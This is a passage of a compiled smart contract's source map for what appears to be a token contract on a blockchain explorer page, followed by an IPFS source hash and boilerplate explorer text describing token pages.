;:::i;:::-;:75;;;;:::i;:::-;27026:101;-1:-1:-1;27140:51:0;27157:33;27026:101;27157:15;:33;:::i;:::-;27140:16;:51::i;:::-;27401:18;;27225:21;;;;27204:18;;27401:22;;27422:1;;27401:22;:::i;:::-;27380:44;;:17;:44;:::i;:::-;27344:18;;27331:31;;:10;:31;:::i;:::-;27330:95;;;;:::i;:::-;27304:121;;27436:17;27542:1;27521:18;;:22;;;;:::i;:::-;27500:44;;:17;:44;:::i;:::-;27470:12;;27457:25;;:10;:25;:::i;:::-;27456:89;;;;:::i;:::-;27436:109;-1:-1:-1;27575:27:0;27436:109;27575:15;:27;:::i;:::-;27556:46;;;;:::i;:::-;27634:1;27613:18;:22;;;27646:18;:22;;;27679:12;:16;;;27706:17;:21;27556:46;-1:-1:-1;27744:19:0;;;;;:42;;;27785:1;27767:15;:19;27744:42;27740:121;;;27803:46;27816:15;27833;27803:12;:46::i;:::-;27881:9;;27873:38;;-1:-1:-1;;;;;27881:9:0;;;;27873:38;;;;;27901:9;;27881;27873:38;27881:9;27873:38;27901:9;27881;27873:38;;;;;;;;;;;;;;;;;;;;-1:-1:-1;27930:15:0;;27922:56;;-1:-1:-1;;;;;27930:15:0;;;;27956:21;27922:56;;;;;27930:15;27922:56;27930:15;27922:56;27956:21;27930:15;27922:56;;;;;;;;;;;;;;;;;;;;;26423:1563;;;;;;;26395:1591::o;6718:651::-;-1:-1:-1;;;;;6858:20:0;;6850:70;;;;-1:-1:-1;;;6850:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6939:23:0;;6931:71;;;;-1:-1:-1;;;6931:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7039:17:0;;7015:21;7039:17;;;:9;:17;;;;;;7089:23;;;;7067:111;;;;-1:-1:-1;;;7067:111:0;;16648:2:1;7067:111:0;;;16630:21:1;16687:2;16667:18;;;16660:30;16726:34;16706:18;;;16699:62;-1:-1:-1;;;16777:18:1;;;16770:36;16823:19;;7067:111:0;16446:402:1;7067:111:0;-1:-1:-1;;;;;7214:17:0;;;;;;;:9;:17;;;;;;7234:22;;;7214:42;;7278:20;;;;;;;;:30;;7250:6;;7214:17;7278:30;;7250:6;;7278:30;:::i;:::-;;;;;;;;7343:9;-1:-1:-1;;;;;7326:35:0;7335:6;-1:-1:-1;;;;;7326:35:0;;7354:6;7326:35;;;;1592:25:1;;1580:2;1565:18;;1446:177;7326:35:0;;;;;;;;6839:530;6718:651;;;:::o;22936:235::-;-1:-1:-1;;;;;23052:35:0;;;;;;:25;:35;;;;;;;;;:49;;-1:-1:-1;;23052:49:0;;;;;;;;;;23117:46;;17021:51:1;;;17088:18;;;17081:50;23117:46:0;;16994:18:1;23117:46:0;;;;;;;22936:235;;:::o;7377:440::-;-1:-1:-1;;;;;7463:21:0;;7455:57;;;;-1:-1:-1;;;7455:57:0;;17344:2:1;7455:57:0;;;17326:21:1;17383:2;17363:18;;;17356:30;17422:25;17402:18;;;17395:53;17465:18;;7455:57:0;17142:347:1;7455:57:0;-1:-1:-1;;;;;7541:18:0;;7523:15;7541:18;;;:9;:18;;;;;;7578:17;;;;7570:63;;;;-1:-1:-1;;;7570:63:0;;17696:2:1;7570:63:0;;;17678:21:1;17735:2;17715:18;;;17708:30;17774:34;17754:18;;;17747:62;-1:-1:-1;;;17825:18:1;;;17818:31;17866:19;;7570:63:0;17494:397:1;7570:63:0;-1:-1:-1;;;;;7669:18:0;;;;;;:9;:18;;;;;;;;7690:16;;;7669:37;;7721:12;:22;;;;;;;7772:37;1592:25:1;;;7669:18:0;;;7772:37;;1565:18:1;7772:37:0;1446:177:1;25915:472:0;26005:16;;;26019:1;26005:16;;;;;;;;25981:21;;26005:16;;;;;;;;;;-1:-1:-1;26005:16:0;25981:40;;26050:4;26032;26037:1;26032:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26032:23:0;;;:7;;;;;;;;;;:23;;;;26076:15;;:22;;;-1:-1:-1;;;26076:22:0;;;;:15;;;;;:20;;:22;;;;;26032:7;;26076:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26066:4;26071:1;26066:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26066:32:0;;;:7;;;;;;;;;:32;26141:15;;26109:62;;26126:4;;26141:15;26159:11;26109:8;:62::i;:::-;26182:15;;:197;;-1:-1:-1;;;26182:197:0;;-1:-1:-1;;;;;26182:15:0;;;;:66;;:197;;26263:11;;26182:15;;26306:4;;26333;;26353:15;;26182:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25970:417;25915:472;:::o;13314:369::-;13427:15;;13395:62;;13412:4;;-1:-1:-1;;;;;13427:15:0;13445:11;13395:8;:62::i;:::-;13468:15;;:207;;-1:-1:-1;;;13468:207:0;;13541:4;13468:207;;;19742:34:1;19792:18;;;19785:34;;;13468:15:0;19835:18:1;;;19828:34;;;19878:18;;;19871:34;13627:6:0;19921:19:1;;;19914:44;13649:15:0;19974:19:1;;;19967:35;-1:-1:-1;;;;;13468:15:0;;;;:31;;13507:9;;19676:19:1;;13468:207:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13314:369;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1628:247::-;1687:6;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1795:9;1782:23;1814:31;1839:5;1814:31;:::i;1880:456::-;1957:6;1965;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2081:9;2068:23;2100:31;2125:5;2100:31;:::i;:::-;2150:5;-1:-1:-1;2207:2:1;2192:18;;2179:32;2220:33;2179:32;2220:33;:::i;:::-;1880:456;;2272:7;;-1:-1:-1;;;2326:2:1;2311:18;;;;2298:32;;1880:456::o;2341:180::-;2400:6;2453:2;2441:9;2432:7;2428:23;2424:32;2421:52;;;2469:1;2466;2459:12;2421:52;-1:-1:-1;2492:23:1;;2341:180;-1:-1:-1;2341:180:1:o;2526:385::-;2612:6;2620;2628;2636;2689:3;2677:9;2668:7;2664:23;2660:33;2657:53;;;2706:1;2703;2696:12;2657:53;-1:-1:-1;;2729:23:1;;;2799:2;2784:18;;2771:32;;-1:-1:-1;2850:2:1;2835:18;;2822:32;;2901:2;2886:18;2873:32;;-1:-1:-1;2526:385:1;-1:-1:-1;2526:385:1:o;3313:416::-;3378:6;3386;3439:2;3427:9;3418:7;3414:23;3410:32;3407:52;;;3455:1;3452;3445:12;3407:52;3494:9;3481:23;3513:31;3538:5;3513:31;:::i;:::-;3563:5;-1:-1:-1;3620:2:1;3605:18;;3592:32;3662:15;;3655:23;3643:36;;3633:64;;3693:1;3690;3683:12;3633:64;3716:7;3706:17;;;3313:416;;;;;:::o;3734:383::-;3811:6;3819;3827;3880:2;3868:9;3859:7;3855:23;3851:32;3848:52;;;3896:1;3893;3886:12;3848:52;3935:9;3922:23;3954:31;3979:5;3954:31;:::i;:::-;4004:5;4056:2;4041:18;;4028:32;;-1:-1:-1;4107:2:1;4092:18;;;4079:32;;3734:383;-1:-1:-1;;;3734:383:1:o;4122:388::-;4190:6;4198;4251:2;4239:9;4230:7;4226:23;4222:32;4219:52;;;4267:1;4264;4257:12;4219:52;4306:9;4293:23;4325:31;4350:5;4325:31;:::i;:::-;4375:5;-1:-1:-1;4432:2:1;4417:18;;4404:32;4445:33;4404:32;4445:33;:::i;4515:380::-;4594:1;4590:12;;;;4637;;;4658:61;;4712:4;4704:6;4700:17;4690:27;;4658:61;4765:2;4757:6;4754:14;4734:18;4731:38;4728:161;;4811:10;4806:3;4802:20;4799:1;4792:31;4846:4;4843:1;4836:15;4874:4;4871:1;4864:15;4728:161;;4515:380;;;:::o;4900:356::-;5102:2;5084:21;;;5121:18;;;5114:30;5180:34;5175:2;5160:18;;5153:62;5247:2;5232:18;;4900:356::o;6029:127::-;6090:10;6085:3;6081:20;6078:1;6071:31;6121:4;6118:1;6111:15;6145:4;6142:1;6135:15;6161:168;6234:9;;;6265;;6282:15;;;6276:22;;6262:37;6252:71;;6303:18;;:::i;6334:217::-;6374:1;6400;6390:132;;6444:10;6439:3;6435:20;6432:1;6425:31;6479:4;6476:1;6469:15;6507:4;6504:1;6497:15;6390:132;-1:-1:-1;6536:9:1;;6334:217::o;6966:125::-;7031:9;;;7052:10;;;7049:36;;;7065:18;;:::i;12859:401::-;13061:2;13043:21;;;13100:2;13080:18;;;13073:30;13139:34;13134:2;13119:18;;13112:62;-1:-1:-1;;;13205:2:1;13190:18;;13183:35;13250:3;13235:19;;12859:401::o;13265:399::-;13467:2;13449:21;;;13506:2;13486:18;;;13479:30;13545:34;13540:2;13525:18;;13518:62;-1:-1:-1;;;13611:2:1;13596:18;;13589:33;13654:3;13639:19;;13265:399::o;14782:128::-;14849:9;;;14870:11;;;14867:37;;;14884:18;;:::i;18028:127::-;18089:10;18084:3;18080:20;18077:1;18070:31;18120:4;18117:1;18110:15;18144:4;18141:1;18134:15;18160:251;18230:6;18283:2;18271:9;18262:7;18258:23;18254:32;18251:52;;;18299:1;18296;18289:12;18251:52;18331:9;18325:16;18350:31;18375:5;18350:31;:::i;18416:980::-;18678:4;18726:3;18715:9;18711:19;18757:6;18746:9;18739:25;18783:2;18821:6;18816:2;18805:9;18801:18;18794:34;18864:3;18859:2;18848:9;18844:18;18837:31;18888:6;18923;18917:13;18954:6;18946;18939:22;18992:3;18981:9;18977:19;18970:26;;19031:2;19023:6;19019:15;19005:29;;19052:1;19062:195;19076:6;19073:1;19070:13;19062:195;;;19141:13;;-1:-1:-1;;;;;19137:39:1;19125:52;;19232:15;;;;19197:12;;;;19173:1;19091:9;19062:195;;;-1:-1:-1;;;;;;;19313:32:1;;;;19308:2;19293:18;;19286:60;-1:-1:-1;;;19377:3:1;19362:19;19355:35;19274:3;18416:980;-1:-1:-1;;;18416:980:1:o;20013:306::-;20101:6;20109;20117;20170:2;20158:9;20149:7;20145:23;20141:32;20138:52;;;20186:1;20183;20176:12;20138:52;20215:9;20209:16;20199:26;;20265:2;20254:9;20250:18;20244:25;20234:35;;20309:2;20298:9;20294:18;20288:25;20278:35;;20013:306;;;;;:::o

Swarm Source

ipfs://8956ff0889d33269211721a475e9c47c7fb079bedfd1e608b495b82c9de92fc9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.